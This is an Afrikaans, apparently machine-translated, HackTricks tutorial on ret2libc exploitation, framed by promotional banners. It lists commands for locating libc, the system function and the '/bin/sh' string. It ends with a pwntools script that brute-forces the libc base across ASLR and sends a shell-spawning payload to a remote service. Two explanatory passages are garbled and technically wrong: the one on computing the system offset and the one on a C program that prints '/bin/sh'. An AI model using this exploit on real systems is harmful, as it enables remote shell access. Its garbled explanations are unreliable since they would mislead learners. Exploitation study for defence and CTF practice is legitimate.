5.8 KiB
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel jou hacking-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslagplekke.
As jy 'n kwesbare binêre lêer gevind het en jy dink jy kan dit uitbuit deur Ret2Lib te gebruik, kan jy hierdie basiese stappe volg.
As jy binne die gasheer is
Jy kan die adres van libc vind
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
As jy wil nagaan of die ASLR die adres van libc verander, kan jy die volgende doen:
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
Kry die verskuiwing van die stelsel funksie
Om die verskuiwing van die stelsel funksie te kry, kan jy die volgende stappe volg:
- Identifiseer 'n funksie in die teikenprogram wat 'n biblioteekfunksie aanroep, soos
system()
. - Kry die adres van die funksie in die biblioteek. Dit kan gedoen word deur die program te ontleder of deur gebruik te maak van 'n hulpmiddel soos
objdump
. - Identifiseer 'n plek in die program se geheue waar jy 'n string kan plaas wat die pad na die biblioteek bevat. Dit kan 'n argument wees wat deur die funksie aanvaar word, of 'n ander plek in die geheue waar jy toegang tot het.
- Bereken die verskuiwing deur die adres van die funksie in die biblioteek af te trek van die adres van die string in die geheue.
Hier is 'n voorbeeld van hoe jy die verskuiwing kan bereken:
# Voorbeeld Python-kode
adres_van_stelsel_funksie = 0x12345678
adres_van_string = 0xabcdef01
verskuiwing = adres_van_stelsel_funksie - adres_van_string
print(f"Verskuiwing: {verskuiwing}")
Onthou dat die spesifieke waardes van die adresse sal verskil vir elke program en stelsel. Jy sal die korrekte adresse vir jou teikenprogram moet vind en die berekening dienooreenkomstig aanpas.
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
Kry die offset van "/bin/sh"
Om die offset van die "/bin/sh"
string te kry, kan jy die volgende stappe volg:
- Skryf 'n eenvoudige C-program wat die
"/bin/sh"
string bevat. - Kompileer die program sonder enige optimalisering.
- Voer die program uit en onthou die geheue-adres van die
"/bin/sh"
string. - Gebruik die geheue-adres om die offset te bereken.
Hier is 'n voorbeeld van hoe jy dit kan doen:
#include <stdio.h>
int main() {
printf("/bin/sh\n");
return 0;
}
Kompileer die program met die volgende opdrag:
gcc -o binsh binsh.c
Voer die program uit en onthou die geheue-adres van die "/bin/sh"
string:
./binsh
Die geheue-adres sal in die uitset verskyn. Gebruik hierdie adres om die offset te bereken.
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
/proc/<PID>/maps
As die proses elke keer as jy daarmee praat (netwerkbediener) kinders skep, probeer om daardie lêer te lees (jy sal waarskynlik root moet wees).
Hier kan jy presies sien waar die libc gelaai word binne die proses en waar dit gelaai gaan word vir elke kind van die proses.
In hierdie geval word dit gelaai by 0xb75dc000 (Dit sal die basisadres van libc wees)
Gebruik gdb-peda
Kry die adres van die system-funksie, die exit-funksie en die string "/bin/sh" met behulp van gdb-peda:
p system
p exit
find "/bin/sh"
Om ASLR te omseil
Jy kan probeer om die basisadres van libc te bruteforce.
for off in range(0xb7000000, 0xb8000000, 0x1000):
Kode
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline() #Banner
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive() #?
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel jou hacking-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud GitHub-opslagplekke.